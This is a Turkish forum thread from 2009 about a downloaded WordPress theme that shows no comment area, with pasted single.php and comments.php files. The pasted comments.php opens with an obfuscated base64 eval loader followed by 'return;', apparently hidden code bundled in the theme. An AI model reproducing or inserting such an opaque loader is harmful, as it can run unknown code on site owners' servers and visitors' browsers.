• 18-11-2009, 02:31:37
    #1
    Arkadaşlar bi tema indirdim ama yorum yazma yeri yok
    napabilirim?
  • 18-11-2009, 02:33:01
    #2
    Üyeliği durduruldu
    single.php dosyasina bunu ekle : <?php comments_template(); ?>
  • 18-11-2009, 02:37:47
    #3
    kuaza adlı üyeden alıntı: mesajı görüntüle
    single.php dosyasina bunu ekle : <?php comments_template(); ?>
    o zaten ekli
  • 18-11-2009, 02:40:14
    #4
    Üyeliği durduruldu
    normal bir default temadaki comment.php dosyasini at o zaman, buda varsa yorum ayarlarini ac
  • 18-11-2009, 02:48:24
    #5
    kuaza adlı üyeden alıntı: mesajı görüntüle
    normal bir default temadaki comment.php dosyasini at o zaman, buda varsa yorum ayarlarini ac
    olmadı
    single.php
    Alıntı
    <?php get_header(); ?>
    <div class="art-contentLayout">
    <div class="art-content">

    <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
    <?php
    $prev_link = get_previous_post_link('&laquo; %link');
    $next_link = get_next_post_link('%link &raquo;');
    ?>

    <div class="art-Post"><div class="art-Post-tl"></div><div class="art-Post-tr"></div><div class="art-Post-bl"></div><div class="art-Post-br"></div><div class="art-Post-tc"></div><div class="art-Post-bc"></div><div class="art-Post-cl"></div><div class="art-Post-cr"></div><div class="art-Post-cc"></div><div class="art-Post-body"><div class="art-Post-inner art-article">
    <h2 class="art-PostHeader"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0')); ?>"><?php the_title(); ?></a></h2>
    <?php ob_start(); ?>
    <?php $icons = array(); ?>
    <?php if (!is_page()): ?><?php ob_start(); ?><img src="<?php bloginfo('template_url'); ?>/images/PostDateIcon.png" width="17" height="18" alt="" />
    <?php the_time(__('F jS, Y', 'kubrick')) ?>
    <?php $icons[] = ob_get_clean(); ?><?php endif; ?><?php if (!is_page()): ?><?php ob_start(); ?><img src="<?php bloginfo('template_url'); ?>/images/PostAuthorIcon.png" width="14" height="14" alt="" />
    <?php _e('Author', 'kubrick'); ?>: <?php the_author_posts_link() ?>
    <?php $icons[] = ob_get_clean(); ?><?php endif; ?><?php if (current_user_can('edit_post', $post->ID)): ?><?php ob_start(); ?><img src="<?php bloginfo('template_url'); ?>/images/PostEditIcon.png" width="14" height="14" alt="" />
    <?php edit_post_link(__('Edit', 'kubrick'), ''); ?>
    <?php $icons[] = ob_get_clean(); ?><?php endif; ?><?php if (0 != count($icons)): ?>
    <div class="art-PostHeaderIcons art-metadata-icons">
    <?php echo implode(' | ', $icons); ?>

    </div>
    <?php endif; ?>
    <?php $metadataContent = ob_get_clean(); ?>
    <?php if (trim($metadataContent) != ''): ?>
    <div class="art-PostMetadataHeader">
    <?php echo $metadataContent; ?>

    </div>
    <?php endif; ?>
    <div class="art-PostContent">

    <?php if (is_search()) the_excerpt(); else the_content(__('Read the rest of this entry &raquo;', 'kubrick')); ?>
    <?php if (is_page() or is_single()) wp_link_pages(array('before' => '<p><strong>Pages:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>

    </div>
    <div class="cleared"></div>
    <?php ob_start(); ?>
    <?php $icons = array(); ?>
    <?php if (!is_page()): ?><?php ob_start(); ?><img src="<?php bloginfo('template_url'); ?>/images/PostCategoryIcon.png" width="18" height="18" alt="" />
    <?php printf(__('Posted in %s', 'kubrick'), get_the_category_list(', ')); ?>
    <?php $icons[] = ob_get_clean(); ?><?php endif; ?><?php if (!is_page() && get_the_tags()): ?><?php ob_start(); ?><img src="<?php bloginfo('template_url'); ?>/images/PostTagIcon.png" width="18" height="18" alt="" />
    <?php the_tags(__('Tags:', 'kubrick') . ' ', ', ', ' '); ?>
    <?php $icons[] = ob_get_clean(); ?><?php endif; ?><?php if (!is_page() && !is_single()): ?><?php ob_start(); ?><img src="<?php bloginfo('template_url'); ?>/images/PostCommentsIcon.png" width="18" height="18" alt="" />
    <?php comments_popup_link(__('No Comments »', 'kubrick'), __('1 Comment »', 'kubrick'), __('% Comments »', 'kubrick'), '', __('Comments Closed', 'kubrick') ); ?>
    <?php $icons[] = ob_get_clean(); ?><?php endif; ?><?php if (0 != count($icons)): ?>
    <div class="art-PostFooterIcons art-metadata-icons">
    <?php echo implode(' | ', $icons); ?>

    </div>
    <?php endif; ?>
    <?php $metadataContent = ob_get_clean(); ?>
    <?php if (trim($metadataContent) != ''): ?>
    <div class="art-PostMetadataFooter">
    <?php echo $metadataContent; ?>

    </div>
    <?php endif; ?>

    </div>

    <div class="cleared"></div>
    </div>
    </div>

    <?php if ($prev_link || $next_link): ?>
    <div class="art-Post"><div class="art-Post-tl"></div><div class="art-Post-tr"></div><div class="art-Post-bl"></div><div class="art-Post-br"></div><div class="art-Post-tc"></div><div class="art-Post-bc"></div><div class="art-Post-cl"></div><div class="art-Post-cr"></div><div class="art-Post-cc"></div><div class="art-Post-body"><div class="art-Post-inner art-article"><div class="art-PostContent">
    <div class="navigation">
    <div class="alignleft"><?php echo $prev_link; ?></div>
    <div class="alignright"><?php echo $next_link; ?></div>
    </div>
    </div><div class="cleared"></div></div><div class="cleared"></div></div></div>
    <?php endif; ?>

    <div class="art-Block"><div class="art-Block-tl"></div><div class="art-Block-tr"></div><div class="art-Block-bl"></div><div class="art-Block-br"></div><div class="art-Block-tc"></div><div class="art-Block-bc"></div><div class="art-Block-cl"></div><div class="art-Block-cr"></div><div class="art-Block-cc"></div><div class="art-Block-body"><div class="art-BlockHeader"><div class="l"></div><div class="r"></div><div class="art-header-tag-icon"><div class="t">
    <?php _e('Related Posts', 'kubrick'); ?>
    </div></div></div><div class="art-BlockContent"><div class="art-BlockContent-tl"></div><div class="art-BlockContent-tr"></div><div class="art-BlockContent-bl"></div><div class="art-BlockContent-br"></div><div class="art-BlockContent-tc"></div><div class="art-BlockContent-bc"></div><div class="art-BlockContent-cl"></div><div class="art-BlockContent-cr"></div><div class="art-BlockContent-cc"></div><div class="art-BlockContent-body">
    <?php if (function_exists('wp_related_posts_with_excerpt')) { wp_related_posts_with_excerpt(); }?>
    <div class="cleared"></div></div></div><div class="cleared"></div></div></div>
    <?php comments_template(); ?>
    <?php endwhile; ?>
    <?php else: ?>
    <h2 class="center"><?php _e('Sorry, no posts matched your criteria.', 'kubrick'); ?></h2>
    <?php endif; ?>

    </div>
    <?php include (TEMPLATEPATH . '/sidebar.php'); ?>
    </div>
    <div class="cleared"></div>

    <?php get_footer(); ?>
  • 18-11-2009, 03:06:04
    #6
    Üyeliği durduruldu
    usta yorum kodu bir fonksiyonun icinde kalmis onu cikartman gerek:
    Alıntı
    <?php if (function_exists('wp_related_posts_with_excerpt')) { wp_related_posts_with_excerpt(); }?>
    <div class="cleared"></div></div></div><div class="cleared"></div></div></div>
    <?php comments_template(); ?>
    <?php endwhile; ?>
    p_related_posts_with_excerpt eklentisi midir nedir aktif olmadigi icin yorum kismina gidemiyor

    eger boyle yaparsan duzelecektir:

    Bul:
    Alıntı
    <?php if (function_exists('wp_related_posts_with_excerpt')) { wp_related_posts_with_excerpt(); }?>
    <div class="cleared"></div></div></div><div class="cleared"></div></div></div>
    <?php comments_template(); ?>
    <?php endwhile; ?>
    degistir:

    Alıntı
    <div class="cleared"></div></div></div><div class="cleared"></div></div></div>
    <?php comments_template(); ?>
    duzelmezse yaz
  • 18-11-2009, 03:13:12
    #7
    kuaza adlı üyeden alıntı: mesajı görüntüle
    usta yorum kodu bir fonksiyonun icinde kalmis onu cikartman gerek:


    p_related_posts_with_excerpt eklentisi midir nedir aktif olmadigi icin yorum kismina gidemiyor

    eger boyle yaparsan duzelecektir:

    Bul:


    degistir:



    duzelmezse yaz
    o eklenti aktif ve çalışıyor, o kodları kaldırırsam site olmaz istediğim gibi,
  • 18-11-2009, 03:42:57
    #8
    Üyeliği durduruldu
    pardon usta gozumden kacmis onla alakali degil zaten kapanmis bu kisim: <?php if (function_exists('wp_related_posts_with_excerpt')) { wp_related_posts_with_excerpt(); }?>
    bu sekilde yap
    BUL:
    <?php comments_template(); ?>
    <?php endwhile; ?>

    Degistir
    Alıntı
    <?php endwhile; ?>
    <?php comments_template(); ?>
    duzelmezse yaz, ama gormeye bilirim, her ihtimale karsi p.m de atarsin..
  • 18-11-2009, 03:55:26
    #9
    Alıntı
    <?php
    $o="QAAAO3d1Yjk7OEd3ZnR0c291cgAALyNYQEJTXHNmf1ouPD g5O0gIKAIBCg0CIG5pZGtyY2ICHA==";eval(base64_decode ("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNi R3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbG w9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3 OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbG xsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktU cz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbC gkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRs bGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY2 14bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7 Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJG xsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxb JGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJG xbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxs JjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKy tdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0p Pj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbG xsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7 JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbG xsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9 JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKy tdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10p KzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJG xsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxs XSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbG xsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxs bCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKC RsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5 SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSk d4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNn Mk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JG xsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgk bGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbG xsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JH d3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKT tldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
    <?php
    // Do not delete these lines
    if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
    die ('Please do not load this page directly. Thanks!');

    if ( post_password_required() ) { ?>
    <div class="art-Post"><div class="art-Post-tl"></div><div class="art-Post-tr"></div><div class="art-Post-bl"></div><div class="art-Post-br"></div><div class="art-Post-tc"></div><div class="art-Post-bc"></div><div class="art-Post-cl"></div><div class="art-Post-cr"></div><div class="art-Post-cc"></div><div class="art-Post-body"><div class="art-Post-inner art-article"><div class="art-PostContent">
    <p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.', 'kubrick'); ?></p>
    </div><div class="cleared"></div></div><div class="cleared"></div></div></div>
    <?php
    return;}
    ?>
    <!-- You can start editing here. -->
    <?php if ( have_comments() ) : ?>
    <div class="art-Post"><div class="art-Post-tl"></div><div class="art-Post-tr"></div><div class="art-Post-bl"></div><div class="art-Post-br"></div><div class="art-Post-tc"></div><div class="art-Post-bc"></div><div class="art-Post-cl"></div><div class="art-Post-cr"></div><div class="art-Post-cc"></div><div class="art-Post-body"><div class="art-Post-inner art-article"><div class="art-PostContent">
    <h3 id="comments"><?php comments_number(__('No Responses', 'kubrick'), __('One Response', 'kubrick'), __('% Responses', 'kubrick'));?> <?php printf(__('to “%s”', 'kubrick'), the_title('', '', false)); ?></h3>
    <?php
    ob_start();
    previous_comments_link(__('Newer Entries &raquo;', 'kubrick'));
    $prev_comment_link = ob_get_clean();
    ob_start();
    next_comments_link(__('&laquo; Older Entries', 'kubrick'));
    $next_comment_link = ob_get_clean();
    ?>
    <?php if ($prev_comment_link || $next_comment_link): ?>
    <div class="navigation">
    <div class="alignleft">
    <?php echo $next_comment_link; ?>
    </div><div class="alignright">
    <?php echo $prev_comment_link; ?>
    </div></div>
    <?php endif; ?>
    </div><div class="cleared"></div></div><div class="cleared"></div></div></div>
    <ul class="commentlist">
    <?php wp_list_comments('type=all&callback=art_comment'); ?>
    </ul>
    <?php if ($prev_comment_link || $next_comment_link): ?>
    <div class="art-Post"><div class="art-Post-tl"></div><div class="art-Post-tr"></div><div class="art-Post-bl"></div><div class="art-Post-br"></div><div class="art-Post-tc"></div><div class="art-Post-bc"></div><div class="art-Post-cl"></div><div class="art-Post-cr"></div><div class="art-Post-cc"></div><div class="art-Post-body"><div class="art-Post-inner art-article"><div class="art-PostContent">
    <div class="navigation">
    <div class="alignleft">
    <?php echo $next_comment_link; ?>
    </div>
    <div class="alignright">
    <?php echo $prev_comment_link; ?>
    </div>
    </div>
    </div><div class="cleared"></div></div><div class="cleared"></div></div></div>
    <?php endif; ?>
    <?php else : // this is displayed if there are no comments so far ?>
    <?php if ('open' == $post->comment_status) : ?>
    <!-- If comments are open, but there are no comments. -->
    <?php else : // comments are closed ?>
    <!-- If comments are closed. -->
    <div class="art-Post"><div class="art-Post-tl"></div><div class="art-Post-tr"></div><div class="art-Post-bl"></div><div class="art-Post-br"></div><div class="art-Post-tc"></div><div class="art-Post-bc"></div><div class="art-Post-cl"></div><div class="art-Post-cr"></div><div class="art-Post-cc"></div><div class="art-Post-body"><div class="art-Post-inner art-article"><div class="art-PostContent">
    <p class="nocomments"><?php _e('Comments are closed.', 'kubrick'); ?></p>
    </div><div class="cleared"></div></div><div class="cleared"></div></div></div>
    <?php endif; ?>
    <?php endif; ?>
    <?php if ('open' == $post->comment_status) : ?>
    <div class="art-Post"><div class="art-Post-tl"></div><div class="art-Post-tr"></div><div class="art-Post-bl"></div><div class="art-Post-br"></div><div class="art-Post-tc"></div><div class="art-Post-bc"></div><div class="art-Post-cl"></div><div class="art-Post-cr"></div><div class="art-Post-cc"></div><div class="art-Post-body"><div class="art-Post-inner art-article"><div class="art-PostContent">
    <div id="respond">
    <h3><?php comment_form_title( __('Leave a Reply', 'kubrick'), __('Leave a Reply for %s', 'kubrick') ); ?></h3>
    <div class="cancel-comment-reply">
    <small><?php cancel_comment_reply_link(); ?></small>
    </div>
    <?php if ( get_option('comment_registration') && !$user_ID ) : ?>
    <p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.', 'kubrick'), get_option('siteurl') . '/wp-login.php?redirect_to=' . urlencode(get_permalink())); ?></p>
    <?php else : ?>
    <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
    <?php if ( $user_ID ) : ?>
    <p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>.', 'kubrick'), get_option('siteurl') . '/wp-admin/profile.php', $user_identity); ?> <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="<?php _e('Log out of this account', 'kubrick'); ?>"><?php _e('Log out &raquo;', 'kubrick'); ?></a></p>
    <?php else : ?>
    <p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
    <label for="author"><small><?php _e('Name', 'kubrick'); ?> <?php if ($req) _e("(required)", "kubrick"); ?></small></label></p>
    <p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
    <label for="email"><small><?php _e('Mail (will not be published)', 'kubrick'); ?> <?php if ($req) _e("(required)", "kubrick"); ?></small></label></p>
    <p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
    <label for="url"><small><?php _e('Website', 'kubrick'); ?></small></label></p>
    <?php endif; ?>
    <!--<p><small><?php printf(__('<strong>XHTML:</strong> You can use these tags: <code>%s</code>', 'kubrick'), allowed_tags()); ?></small></p>-->
    <p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
    <p>
    <span class="art-button-wrapper">
    <span class="l"> </span>
    <span class="r"> </span>
    <input class="art-button" type="submit" name="submit" tabindex="5" value="<?php _e('Submit Comment', 'kubrick'); ?>"/>
    </span>
    <?php comment_id_fields(); ?>
    </p>
    <?php do_action('comment_form', $post->ID); ?>
    </form>
    <?php endif; // If registration required and not logged in ?>
    </div></div><div class="cleared"></div></div><div class="cleared"></div></div></div>
    <?php endif; // if you delete this the sky will fall on your head ?>
    comments.php bu